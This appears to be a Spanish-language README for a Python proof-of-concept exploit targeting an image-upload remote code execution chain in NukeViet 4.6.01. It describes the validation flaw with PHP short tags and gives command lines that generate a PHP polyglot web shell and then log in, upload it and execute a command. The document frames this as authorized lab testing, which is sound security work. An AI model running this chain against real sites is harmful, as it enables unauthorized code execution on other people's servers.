
Prueba de concepto (PoC) en Python para la cadena de RCE de carga de imágenes de NukeViet 4.6.01: genera un payload políglota en PHP y, contra un laboratorio autorizado, inicia sesión, lo sube y ejecuta un comando de prueba.
PoC de laboratorio autorizado para la cadena de carga de imágenes de NukeViet reportada:
verify_image() no detecta las etiquetas cortas de apertura de PHP (<?)..php..php solo al final de la URI.Este repositorio no contiene credenciales, tokens, cookies ni configuración de objetivos en vivo. Ejecútelo únicamente contra un laboratorio propio o explícitamente autorizado.
requestsInstalar la dependencia:
python3 -m pip install requests
Sin solicitud de red:
python3 nukeviet_rce.py --payload-only --file shell.php.jpg
python3 nukeviet_rce.py \
--authorized \
--url http://127.0.0.1:8080 \
--username LAB_USER \
--password 'LAB_PASSWORD' \
--command id
El script realiza: inicio de sesión -> carga multipart -> extracción de la ruta cargada -> una solicitud de comando. Utilice comandos de prueba inofensivos como id o whoami.
El PoC demuestra impacto solo cuando la configuración exacta del objetivo alcanza la ejecución de PHP. Una pasada de generación de payload o una coincidencia a nivel de código fuente por sí sola no prueba un RCE en tiempo de ejecución. No lo ejecute contra sistemas de terceros.